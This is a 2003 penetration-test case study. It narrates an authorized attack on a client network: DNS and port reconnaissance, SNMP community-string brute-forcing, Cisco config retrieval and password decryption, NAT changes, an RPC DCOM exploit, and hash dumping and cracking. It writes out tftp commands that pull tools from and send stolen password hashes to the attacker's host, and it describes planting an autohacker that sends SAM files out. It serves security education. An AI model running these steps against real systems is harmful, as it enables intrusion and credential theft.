A White Hat’s Penetration Test
This tutorial is more of a “case study”, in which I describe a recent penetration test I performed. Due to the success of the penetration test (in a relatively very short time) I decided to share this experience with you.
Please note that all identifying details such as IP addresses and hostnames have been changed, to protect the vulnerable and innocent.
I would like to thank my anonymous client for allowing me to write up and publish this article.
Chain of Events:
I sit down in front of my screen, with a fresh cup of coffee. My goal is to remotely penetrate company.com, at their request, of course. The only prior information I have, is their domain name – company.com.
I decide to start out with a bit of DNS enumeration, in order to identify company.com’s gateway routers / computers, and get a general idea about what kind of network they have. I use ‘nslookup’ to do this.
Gentoo Tools # nslookup
Note: nslookup is deprecated and may be removed from future releases.
Consider using the `dig' or `host' programs instead. Run nslookup with
the `-sil[ent]' option to prevent this message from appearing.
> set type=ns
company.com nameserver = dns.isp.net.
company.com nameserver = dns2.isp.net.
Authoritative answers can be found from:
dns.isp.net internet address = 18.104.22.168
dns2.isp.net internet address = 22.214.171.124
> set type=mx
company.com mail exchanger = 10 mail.isp.net.
company.com mail exchanger = 0 mail.company.com.
Nslookup suggests that company.com’s dns records are managed by their ISP, which minimizes the probability of a successful DNS zone transfer .
I attempt to identify company.com’s mail server, which ends up being “mail.company.com” (at cost 0). This suggests that company.com host their own mail server, on site.
I run nmap on mail.company.com, and find a variety of services running on it.
Gentoo Tools # nmap -sS mail.company.com
Starting nmap 3.45 ( http://www.insecure.org/nmap/ ) at 2003-10-19 19:40 IST
Interesting ports on mail.company.com (126.96.36.199):
(The 1644 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
23/tcp open telnet
25/tcp open smtp
79/tcp open finger
80/tcp open http
110/tcp open pop-3
143/tcp open imap
Nmap run completed -- 1 IP address (1 host up) scanned in 26.304 seconds
Gentoo Tools #
“Strange” I think to myself. “A Mail server running ‘Finger’ service?”. I run a quick UDP scan.
Gentoo Tools # nmap -sU -p 161-162 mail.company.com
Starting nmap 3.45 ( http://www.insecure.org/nmap/ ) at 2003-10-19 19:48 IST>
Interesting ports on mail.company.com (188.8.131.52): >
PORT STATE SERVICE>
161/udp open snmp>
162/udp closed snmptrap>
Nmap run completed -- 1 IP address (1 host up) scanned in 2.119 seconds>
Gentoo Tools #
“Hmm, SNMP is enabled…Could this be a router?”.
A quick telnet command to mail.company.com verifies my suspicions.
I immediately recognize the Cisco Telnet banner.
Gentoo Tools # nc -v mail.company.com 23
mail.company.com [184.108.40.206] 23 (telnet) open
User Access Verification
Gentoo Tools #
Apparently, mail.company.com is a router, PAT’ing ports into Internal Server(s) (Pop3, Http, Imap).
My next action is to attempt to identify the router, hoping it really is a Cisco. This can be done with SNMP – and Phillip Waytaens’ SNMPEnum would do the job perfectly. The following is a shortened output of SNMPEnum:
Gentoo snmp # perl -w snmpenum.pl 220.127.116.11 public cisco.txt
Cisco Internetwork Operating System Software
IOS (tm) Software, Version 12.0(5)T, RELEASE SOFTWARE
Copyright (c) 1986-1999 by cisco Systems, Inc.
Compiled Thu 23-Jul-99 13:14 by C
Gentoo snmp #
I use the SNMPEnum script, assuming that the SNMP public community string is “public” (As SNMP is often misconfigured). Fortunately for me, this assumption is correct – However, the “read” community string has been changed.
I whip out my favorite SNMP community string bruteforce tool (Solarwinds SNMP Dictionary attack), and start pounding at the router, with my favorite dictionary file.
After a (long) while, I see the good news I was hoping for. I finally have the read-write community string. This would probably allow me to download the router’s configuration (SNMP allows this). A quick turn with the modified “snmpbrute”, and I tftp the router configuration file straight to my attacking machine.
Doing the “Wild Indian rain dance”. I go to the kitchen for some more coffee.
I start looking at the cisco configuration file. It seems that the login and enable passwords are the same. I use a perl script to decrypt the “type 7” cisco encryption. The password turns out to be “therouter”.
no service pad
enable password 7 0958460C0B0A02060E1E
transport input none
line vty 0 4
password 7 0958460C0B0A02060E1E
A deeper look into the router’s configuration file, reveals their Internal mail / web server’s internal address – 172.16.0.5.
The following is part of the Cisco configuration file that NAT’s the ports from the router, to the internal mail/web server :
ip nat inside source static tcp 172.16.0.5 143 18.104.22.168 143 extendable
ip nat inside source static tcp 172.16.0.5 80 22.214.171.124 80 extendable
ip nat inside source static tcp 172.16.0.5 110 126.96.36.199 110 extendable
ip nat inside source static tcp 172.16.0.5 25 188.8.131.52 25 extendable
I sip my cold coffee, and start profiling the information I have up to now. In the backround, I verify that their internal server is indeed running windows 2000.
Gentoo# nc -n 184.108.40.206 80
HTTP/1.1 400 Bad Request
Date: Wed, 29 Oct 2003 20:09:02 GMT
Gentoo# nc -n 220.127.116.11 110
+OK Microsoft Exchange 2000 POP3 server version 6.0.6249.0 (main.company.com) ready.
“Their internal server is most probably running Windows 2000. What are the chances that company.com feels secure – thinking that they are protected by their router? What are the chances they havn’t patched their internal servers against some major vulnerabilities?” I decided to give it a shot.
My first choice is to attempt to use the rpc dcom exploit on their internal server, but in order to do this, I have to open up a few more ports on the router, and direct them to the internal mail / web server.
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#ip nat inside source static tcp 172.16.0.5 139 18.104.22.168 139 extendable
Router(config)#ip nat inside source static tcp 172.16.0.5 135 22.214.171.124 135 extendable
Router(config)#ip nat inside source static tcp 172.16.0.5 445 126.96.36.199 445 extendable
Router(config)#ip nat inside source static tcp 172.16.0.5 3389 188.8.131.52 3389 extendable
Router(config)#ip nat inside source static tcp 172.16.0.5 10000 184.108.40.206 10000 extendable
While I’m at it, I’ll open up all Netbios ports (for later SMB enumeration), and terminal services (I’m feeling lucky). I also open port 10000, knowing i’ll need to open an extra port in order to connect my shell to the internal server.
I whip out my exploit toolkit (framework) and send the RPC Dcom exploit to the router, knowing that the exploit would be redirected to the internal server due to my recent NAT modificationson the router.
Gentoo # ./cli exp/msrpc_dcom1_overflow.exp payload=winbind rhost=mail.company.com lport=10000 OS=2K E
[*] Generating payload winbind (x86, win32, bind)...
[*] Payload generation complete (668 bytes)
[*] Using return address 0x77838eef with scratch pad at 0x7ffde0cc
[*] Connected to mail.company.com:10000...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
Time for more coffee. It seems that my assumption paid off, this company has NOT patched their internal servers, due to a false sense of security. I now have SYSTEM privilages on their web / mail server.
I quickly upload pwdump4.exe in order to dump the password hashes to a files, for later, local cracking.
Once the hashes are dumped to a file, I tftp this file from their internal webserver back to my attacking machine.
Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp.
C:WINNTsystem32>tftp -i my.attacking.ip GET pwdump4.exe
C:WINNTsystem32>pwdump4.exe 127.0.0.1 >company.com.hashes.txt
C:WINNTsystem32>tftp -i my.attacking.ip PUT company.com.hashes.txt
Usually, I’d use ‘john the ripper’ to crack these password hashes, however, I recently finished generating rainbow-crack’s hash tables, and I thought i’de give it a try.
D:TOOLSpasswordRTGEN>rcrack.exe *.rt -f hash.txt
reading lm_alpha-numeric_0_2400x40000000_bla.rt ...
315498496 bytes read, disk access time: 17.49 s
verifying the file ...
searching for 29 hashes ...
plaintext of df168b2dd34bad07 is ***
plaintext of ac59766adf048863 is ***
plaintext found: 24 of 29 (82.76%)
total disk access time: 155.57 s
total cryptanalysis time: 428.81 s
total chain walk step: 151943227
total false alarm: 66931
total false alarm step: 56200430
Rainbow-crack proved to be an invaluable tool, and shortened the whole process of NTLM hash cracking to less than 10 minuets. Using john the ripper, this could have taken anywhere from one week to a couple of months.
Once the administrator password is found, I attempt to connect to port 3389 on mail.company.com – hoping that per-chance terminal services is enabled. It seems that lady luck was is my favor – and I receive a terminal services window. Using the cracked Administrator password, I log into the the web server – Mission completed.
To completely consolidate my control of the client’s network, I upload a modified version of KaHT II (the RPC DCOM autohacker) and edit the macros.txt file, so that each successful exploitation would tftp the ‘repair’ sam file to my attacking machine.
At this stage, I stop my attack on the client’s network, as the contract objectives are completed.
I take one last sip – What would I do without my coffee?
Mati Aharoni, MCSES, MCT, CCNA, CCSA, CISSP
Visit the Security through Hacking Web site at http://www.secureit.co.il for additional information.